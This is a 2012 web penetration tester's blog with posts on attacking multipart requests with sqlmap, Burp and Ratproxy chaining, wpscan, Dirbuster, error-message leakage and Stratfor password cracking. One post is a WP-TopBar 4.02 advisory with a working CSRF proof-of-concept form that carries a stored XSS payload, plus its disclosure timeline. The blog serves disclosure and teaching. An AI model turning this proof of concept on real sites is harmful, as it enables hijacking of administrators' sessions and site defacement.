Monday, December 10, 2012

Attacking Multipart Requests

I was recently in the process of testing a Wordpress Plugin for exploits when I came across a request that I don't see very often.

Here is a snippet:

POST /wordpress/security-services/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------680132334639
Content-Length: 1987

Content-Disposition: form-data; name="user_email"

Content-Disposition: form-data; name="image_file"; filename=""
Content-Type: application/octet-stream


As you can see from the highlighted portion, the Content-Type is "multipart/form-data" with a boundary declared.

RFC 2388 defines the boundary as:

As with other multipart types, a boundary is selected that does not occur in any of the data. Each field of the form is sent, in the order defined by the sending appliction and form, as a part of the multipart stream. Each part identifies the INPUT name within the original form. Each part should be labelled with an appropriate content-type if the media type is known (e.g., inferred from the file extension or operating system typing information) or as "application/octet-stream". 
[Taken from]

   In this case, the boundary is "-----------------------------680132334639" and you can see how it encapsulates every data element that it's transmitting.  Notice that each element has a "Content-Disposition" set to "form-data" and a name describing that element.

   In the second data element, and the primary reason for this particular Content-Type, is the ability to send files along with form data.  The particular plugin allowed for the submission of an image file as shown above.  Notice the "Content-Type" attribute set to "application/octet-stream" and there is a new field to specify the "filename."

More Information:

If the contents of a file are submitted with a form, the file input should be identified by the appropriate content type (e.g., "application/octet-stream"). If multiple files are to be returned as the result of a single form entry, they should be returned as "multipart/mixed" embedded within the "multipart/form-data".
[Taken from]

   Manual attacks for text should be relatively straight forward as you would still be using the same techniques as a standard POST request.  One must identify where the actual data resides, in this case between the boundaries, and after the "name" field.  Your payload then becomes placed within the body between the two boundaries.

Content-Disposition: form-data; name="user"


  This type of request also adds an additional attack vector.  With the file upload capabilities, you can also try to upload a malicious file to see if you can reference it somehow through the application and/or get it to execute.

   In this particular case, I also wanted to try an automated SQL injection attack.  I wanted to know if any of the tools I use support these request.  Luckily sqlmap had just added support for multipart requests.  I tested this out by doing a dump of the output and verified that it automatically detected the type of request I was passing to it (via a file exported from burp), detected the boundary, and then properly attacked the form data I was sending it.

   You could also write a script for customized attacks.  Make sure the script looks at the request, identifies the boundary after the "Content-Type" field looking at whatever "boundary=" is set to and then parse the request for the content between any place where it finds the 'opening' and 'closing' boundaries.

Saturday, September 15, 2012

WP-TopBar 4.02 CSRF and Stored XSS

# Exploit Title: WP-TopBar 4.02 CSRF and Stored XSS
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
   Stored XSS

The message field (wptbbartext variable) of the wp-topbar.php page is vulnerable to Stored Cross-site Scripting.  This variable is only accessible via the admin menu of the plugin. 

The following code is an example:


This code is committed to the database upon submission and will run both under the admin interface when the bar is shown as a preview as well as the front facing page where the bar is set to display.


Since the previous vulnerability requires a logged in user with permission to update this variable in order to execute, an attacker could use Cross Site Request Forgery to trick a logged in user into performing this attack against themselves.

The wp-topbar.php does not utilize a nonce value when submitting any POST changes.  As a result, this page is vulnerable to Cross Site Request Forgery. 

Proof of Concept Code:

<form name="testform" action="https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1" method="POST">
        <input type="hidden" name="wptbbartext" value="</script><script>onload=alert(3)</script>">
        <input type="hidden" name="wptblinktext" value="whatever">
        <input type="hidden" name="wptblinkurl" value="">
        <input type="hidden" name="wptblinktarget" value="blank">
        <input type="hidden" name="wptbenableimage" value="false">
        <input type="hidden" name="wptbbarimage" value="">
        <input type="hidden" name="update_wptbSettings" value="Update+Settings">
<script type="text/javascript">

This script takes advantage of a logged in user to submit the required variables needed to update an existing TopBar with the required settings and includes the Stored XSS from above.  In this example it was tested against a wordpress application running on ‘localhost’ and altered a TopBar with the ‘id’ of 1.  This version of WP-TopBar creates a default TopBar with the id of 1 upon installation.  Any subsequent TopBar created has an id incremented.  It can be assumed that a user is more then likely to still have the default TopBar and easily attack it.

# Vulnerability Timeline
2012-09-04 – Vulnerability Reported
2012-09-05 – Developer Acknowledges
2012-09-10 – Developer Issues Fix (v4.03)
2012-09-15 -  Vulnerability Disclosed

Wednesday, August 1, 2012

Chaining Ratproxy and Burp

I got this idea from a SANS Instructor (Justin Searle) in a SEC 542 class.  We didn't go into detail and really we didn't talk about this scenario specifically only that you can chain Ratproxy with another proxy.  When the course ended, I wanted to figure out how to do this.

Why would you want to do this?

Both of these tools are proxies, and are particularly useful to Pen Testers.  They also fill different needs.  The Burp Suite (I'm using the free vers.) is a Java Application created by Dafyyd Stuttard which has an extensive tool set that allows for modifications of GET and POST requests as well as a myriad of automated tools for pen testing a website that I won't cover in this post.  Ratproxy is a command line proxy, written by Michal Zalewski, that passively (or actively depending on arguments) monitors traffic for potential security vulnerabilities.  Alone each tool is highly useful and together would be even better versus running each tool on its own and then rinse and repeat with the other tool.

The Problem:

Both applications really don't have much documentation for doing this either except for maybe a reference to the fact that you can do it.  The order in which you chain these is crucial when you understand how these proxies function.  Ratproxy passively monitors traffic and Burp has the ability to modify that traffic before sending it to the web server hence you want this order so the traffic can be monitored by Ratproxy first and then any modification does not interfere with Ratproxy.

The Solution:

You want to make sure that you set your Browser or other application to the port that Ratproxy is listening on and then set Ratproxy to redirect to the port that Burp is listening on.  The reason for this order is due to functionality as listed above. 

Run Ratproxy:

For this exercise I was using Ratproxy 1.5.8.  Start Ratproxy by running the following command:

ratproxy -p 8081 -P

-p specifies what port Ratproxy should listen on
-P specifies the ip address and port the downstream proxy is listening on (Burp)

Run Burp:

For this exercise I was using Burp  There really isn't much you have to do with this as Burp is already running by default on port 8080.  You can go into the Proxy Options, as shown in the screenshot below, to configure another port or listening interface for Burp.

You should now be able to use both Proxies.

Thursday, June 21, 2012

Auditing Wordpress Blogs

Wordpress appears to be one of the most prevalent blogging platforms out in the wild today as it can be downloaded and installed to any domain as well as being offered as a blogging platform by hosting companies.  I come across it quite a bit during my website audits.  If you are not familiar with this application, this probably isn't the post for you, and you can research it further at

As I'm pen testing a site with Wordpress installed, I have the tendency to do a quick check of the Wordpress vers. and any installed plugins looking for any published exploits or information, but this really presents a challenge.  Wordpress can be tight lipped on what they fix in each new version.  Sites like can be useful but time consuming when iterating your search through each plugin and version to see if there is an exploit.  Finding information in Twitter is great but can be time consuming in trying to build an internal knowledge base of exploits.

Lately I've been playing around with a new tool that is designed specifically for Wordpress blogs.  The tool is called wpscan and is written by ethicalhack3r (  -SEE UPDATE BELOW-

Wpscan is essentially a scanner with a database of exploits against both the standalone Wordpress install as well as Wordpress plugins.  It's available here: and comes pre-installed in Backtrack 5 R1.  I've used it several times and found it to be very easy to use and something I will add to my toolbox.  It's updated often and the tool will pull updates when launched.  I did run into a problem where an update broke my install, and I had to reinstall a package.  All things aside, it is free and useful.

Here is an example of a local path disclosure I found from a Wordpress 3.2.1 Blog:

Scanning took less then a minute.

If you'd like to see a usage video, here is one posted by the creator on YouTube that covers basic functionality.  The command line arguments may slightly differ between versions, but you get the idea (type -h if you need help).

Examples of Features:
- Detection of Vulnerabilities in Wordpress
- Enumeration of installed Plugins
- Detection of Vulnerabilites in Plugins
- Detection and Brute Force Capabilities against Wordpress Accounts

UPDATED INFORMATION: After chatting with one of the Creators the other day, I realized I needed to make a correction and give credit to those who contribute to the ongoing development of WPscan.  Thanks Ryan!  In addition to Ryan Dewhurst (@ethicalhack3r), the following are also on the WPScan Team: Erwan.LR and Gianluca Brindisi  (@gbrindisi).  For a full list of credits and contributors please see

Sunday, May 20, 2012

The Basics Part 2 - Attack of the Hidden Directories

In part 2 of this series, I will talk about externally auditing your website for exposed directories using a tool called Dirbuster.  There are other techniques available including logging into your Webserver and checking out the web root directory, which is also effective and recommended, however you may misread a permission or forget about a link somewhere that cannot be easily found through internal auditing.

So why am I taking the time to write a blog post about this?

Answer: This is a very simple way to see what you're exposing to the internet.  As an Auditor, this is one of the first things I do during my recon against a Client.  The cost here is very low for what you gain.  The tool I'll be discussing, does this for you in an automated fashion. 

Let me give you some examples of what data you can get back from doing this:
- Accidentally exposed directories that were not originally intended to be exposed
- Old functionality/directories long since deprecated, but were forgotten and still left open
- Bad permissions on folders
- Back doors left open by ex-employees/malicious programs/third party plugin

Let me also give you a real world example of something I came across just from doing this.  I was running a Penetration Test against a Client's site, and I ran Dirbuster while I was poking around and doing other research.  One of the directories that was exposed was /forum however I never saw an existence or mention of a forum while browsing their site.  I opened the link and found a landing page to complete a forum install.  I was asked to specify the location of where the MySQL database should be used for the install as well as requesting me to specify what I wanted the Admin Username/Password to be.

Had I been a malicious individual, I would have set up a MySQL database somewhere (most likely on another compromised machine) pointed the install there and specified my own username/password.  I could then essentially run this Company's Forums until they figured out what was going on.  By then I would have posed as an employee of the company and provided malicious links and requested sensitive information all while using the companies own domain to make it look legit.  Convinced yet??

Let's take a quick look at Dirbuster to see how it looks.  Dirbuster runs off of the Java runtime, so you can run it on any major OS (Windows, Linux, OS X)

This is the basic UI:

 The basics are specifying a domain and a list to use for Brute Forcing.  Dirbuster comes with Brute Forcing lists of commonly found/used directory names.  May I suggest that you use the small list as even that will take some time.  Click on "browse" and you'll be taken to the default directory where the lists are included.  You can also specify your own generated lists that are based off of your username generation scheme or other internal scheme to see if you are leaking internal directories.

Once you click "Start", Dirbuster will try to request the directory names from the list specified and display a return code. Note the directories and the return codes for those directories in the results.  Even if you get a 403 Forbidden, deductive reasoning suggests the directory exists and Dirbuster may still try to  recursively go through it to see if it gets a response on sub-directories that may be accessible.  For the novice: This means if you get a "Forbidden" on the Parent Directory, there may still be open sub-directories you can access AND at the very least this tells you the Parent Directory exists because 403 means Forbidden Access meaning it's there and you can't access it as opposed to a 404 Not Found.

Good luck Auditing!

Saturday, April 21, 2012

Error Menace - Follow Up

Remember my last post about information disclosed from error messages?

Not long after I posted that (~1 week),  I was on vacation, and during my traveling I came across two examples of error messages disclosing too much.

Here they are:

#1 - Delta Airlines Touch Screen

I apologize for the blurriness of this photo.  I took this with my cell phone as it was scrolling through the boot up process.  This happened when one of the games I was playing crashed.  I was really surprised to be given this much information about the device.  I could see hardware addresses, running OS and vers, and other information that you can try to view from that picture.  A simple loading screen would've been much better and not disclosed anything.

#2 - Government Website Information Disclosure

I was searching around for things to do in the area and landed upon a Government Website.  Just by clicking on a link, I came across this error.  Some of the information has been redacted, but you still will get a good idea of what's going on.  Some information I found:

  • Hints about the running Operating System (Windows)
  • The type and version of the Web Server (Apache)
  • UNC path that discloses shared directories
  • Several function calls 
  • OS directories
If you find anything I've missed, feel free to comment or contact me, and I'll add it here.

Note: I contacted the Website Admin shortly after arriving home, and received a quick response saying they fixed it.  

Wednesday, April 4, 2012

The Basics - Part 1 - The Error Menace

While I think Website Penetration Testers will always be needed, I think there are some basic security measures that Web Developers can take to secure their sites.  These measures don’t guarantee your site is 100% secure (then again nothing does), but they may deter hackers from spending time on your site.

Think of a robber who wanders around a neighborhood looking for houses to break in.  Can they try to disable your alarm? Sure! Can they climb that tree, get access to your roof, and go in through a bedroom window? Sure! Those methods, however, also take time and some work.  The easiest target would be one whose downstairs door is unlocked. 

Now think of your website as a home.  Have you taken basic precautions to prevent users from breaking in?  When your customers ask, are you able to tell them that you integrate security measures into your development methods to block out the “low hanging fruit” so to speak?
In Part 1 of this series, let’s take a look at one of the easy things you can do to help protect yourself…..

#1 - Error Handling:

Attackers can glean very valuable information just by trying to break your site.  What types of information you might ask?  Well as a Developer, think of the types of exceptions you’ve seen.  Those exceptions give you insight into what happened in the application.  It may point to what broke.   It helps you to go to the source of the problem and fix it.  What if an attacker finds it first though? What information could they get?


DATABASE ERROR: Duplicate entry ‘0-2’ for key PRIMARY
INSERT INTO ‘ot_term_relationships’ (‘term_taxonomy_id’, ‘object_id’) VALUES (‘2’, ‘0’)

This code was returned as part of a more recent Wordpress exploit.  Take a look at the error message.  As an attacker, this tells me a lot.  Let’s take a look at what we know even if you think it’s obvious:
  •     I know there is a database
  •     I know that database is online
  •     I know there is table named ‘ot_term_relationships’
  •     I know that table has at least two columns called ‘term_taxonomy_id’ and ‘object_id’
  •     I know they both accept numbers
  •     I know there is already a record with a value of 2 in the ‘term_taxonomy_id’ and  a 0 in ‘object_id’

I was able to get this all because of an error message.  Now I know a little more about your site and how’s it organized.

 Example #2 – Login Page:

What just happened there?  Did you notice the difference in error handling?  In the first case I typed in both an invalid username and invalid password.  As an attacker, I try to create a baseline.  I’ll type in something I’m almost sure won’t exist to see what the application does and what it gives me.  In the first case, the application did what it should have.  The error didn’t tell me what was invalid only that the complete package of the username and password didn’t work.

Now it’s time to get serious.  Most applications have some type of root/admin account.  Look what happened when I typed in the admin account.  I got an error telling me I have an invalid password.  Now I can infer that the account is valid, and I just need the right password.  Now I can start enumerating this form looking for valid users because I know what the response should be.

Take a look at your login page and error handling.  Does it give away too much? Don’t just look at the code returned, but look at the URI as well.

See you next time for part 2…

UPDATE: Check out the follow up article showing examples of error disclosures including a Government Site I came across. Link

Friday, March 30, 2012

Utah County Researcher Cracks Stratfor Passwords

In an earlier blog post, I talked about the hack against Stratfor, whose user password hashes, credit card hashes, and e-mail were leaked to the public.  One might ask what happens to those databases once they are leaked? Kevin Young, a fellow Utah County Security Researcher and friend, decided to make a research project out of the leak. 

He grabbed a copy of the hash and credit card database, set up a password cracking farm, and started cracking.  Here are some excerpts from the conversation we had:

Kevin: I've gone round and round stratfor a couple of times now.

Kevin: I had about 150k of the 860k then quit to focus on the CC hashes. I got most all of the CC hashes.

Blake: What percent of the CC hashes would you say you have?

Kevin: 90%+

Kevin: Then, I restarted about 2 months ago -- I could get an exact date if you need it -- to completely start over again on the 860k list. I wanted a better methodology and recordkeeping. That's when I figured this was publish-able research.

Blake: So you did in fact restart your cracking against the password hash database?

Kevin: Yes

Blake: After restarting, how many have you cracked?

Kevin: 208,807.  Now...that excludes a LOT of duplicates.

I went on to ask Kevin what the most complex password was.  He gave me almost a dozen complex passwords including pass phrases.  Frankly I was shocked.  I knew he had been doing research and writing custom password cracking rules, but it was staggering to see what he was getting in return.  Per Kevin's request, I will not post actual passwords as they are in fact passwords for REAL individuals out there however I asked permission to slightly modify passwords while still keeping the structure and he agreed.  Here are some examples of cracked passwords:




Go Gators!

You can follow Kevin, and his research on Twitter: @IT3700    or his blog:

Disclaimer: I received permission from Kevin Young to post this and quote him.  He has reviewed the content and signed off on it.

Wednesday, March 28, 2012

How many paragraphs would you write?

If you aren't already familiar with this case, Geopolitical Analysis group Stratfor ( was hacked towards the end of last year and subsequently lost:

  • 5 Million E-mails
  • 800,000 user password hashes
  • 76,000 credit card hashes
Note: For the novice among us, a hash does not mean that it resided in plain text, but it's pretty close.

The CEO of Stratfor posted a 19 paragraph response on his website talking about the attack and then what occurred afterwards.  Essentially his response was to try to repair some of the damage that had been done to its user base and take responsibility for its compromise of security

 George Friedman - CEO of Stratfor states:

"In early December I received a call from Fred Burton, Stratfor's vice president of intelligence. He told me he had received information indicating our website had been hacked and our customer credit card and other information had been stolen."

"We knew our reputation would be damaged by the revelation, all the more so because we had not encrypted the credit card files. This was a failure on our part. As the founder and CEO of Stratfor, I take responsibility for this failure, which has created hardship for customers and friends, and I deeply regret that it took place. The failure originated in the rapid growth of the company. As it grew, the management team and administrative processes didn't grow with it."

See Reference:

Put yourself in this situation as an IT Manager, Director, COO, CIO, or CEO.  How many paragraphs would you write to the public if your site had been compromised?

Monday, March 26, 2012

E-mail Forms - Attacker's View

E-mail forms on a web page can be really tricky.  Most sites use them as a "Contact Us" page where a user can submit feedback to the company.  In some cases, sites go one step further and allow you to send a message to another person.  An example of this would be a site that allows you to send a gift(card) where the sender can include a message to the recipient.  If not secured properly though, these forms can be abused.

Think about the following scenarios:

1) Let's say you aren't encoding the text sent from your "Contact Us" page.  An attacker could put in attack code (like javascript or a hidden iframe) and an unsuspecting employee could view that message and have that code run.  Now you have a compromised user/machine inside your organization, and the attacker can now move further into your company

2)  In a form where the user can specify the recipient and message, an attacker could use your form to send their own content.  This attack vector is even better!  Now an attacker can use you to send out their spam.  They can specify the addressee, the content, and maybe even specify the "from" address.  Now they can use you to send out their spam for them, and you take the fall.

Both of these scenarios can be mitigated by:

  • Employees should be educated in being suspicious of content and validating it before viewing or opening.
  • Encoding text in comment boxes to ensure a mail client doesn't try to interpret it as code
  • Require visitors to your site to make a purchase of an item before allowing them to send a message to another user for a gift purchase.  They may still try to send a malicious message, but you are now able to track who the user is including their payment information.
  • If you still want to allow users to send messages from your site, at the very least require some type of valid login.  Don't make this publicly accessible.  People will abuse it!

Friday, March 23, 2012

Website Owners Don't Know They Were Hacked

 An article by Emil Protalinski of ZDNet talks about a recent survey done against approximately 600 website owners and administrators who had sites compromised.

Here is a summary of the findings:
- 90% didn't notice any strange activity, despite the fact their sites were being abused to send spam, host phishing pages, or distribute malware
- 63% of site owners don't even know how they were hacked
- 26% had not yet figured out how to resolve the problem at the time they completed the survey 
- 20% of those attacks were due to out of date software
- Approximately 50% only discovered the attack when they attempted to visit their own site and received a browser or search engine warning

The article also has a nice flow chart of how/why attacks occur.  Here is a link to the full article.

This is why you have someone test your site, and tell you where you are vulnerable instead of a hacker doing it maliciously.

While a Web Penetration Test does not guarantee your site is 100% safe, it certainly closes holes and makes you aware of where you are potentially vulnerable. 

Another piece of advise: Always monitor and keep backups of your logs!!

Wednesday, March 14, 2012


Well the day has finally come.....
I have decided to open a blog.  Who would've thought??

First, let me introduce myself.  My name is Blake, and I have been in the tech industry for over 10 years.  I have been in the Security Industry for 3 of those years and have thoroughly enjoyed it.  I specialize in Forensics, Network Assessments, and Web Penetration Testing.

The purpose of this blog is in part a small way to start my intentions to become an Independent Security Consultant/Web Penetration Tester.  I have always loved finding out how things work as well as breaking them....

I want to be able to provide Small Businesses who cannot afford dedicated Security Professionals or hire large firms to conduct assessments affordable consulting services.

Small Businesses are just as much of a target as Large Enterprises in fact they are a much easier target because they feel that they can hide in the shadows.  Just look through your log files to realize how untrue that is.

I reached out to multiple contacts I had within Web Firms for Small Companies and boy did I get really supportive feedback!!  The Web Firms were just as concerned as the Small Businesses.  I even provided some services for free to kick start this process, and it has been a great experience.

If you are interested in my services,  please contact me, and I'd be happy to discuss your needs.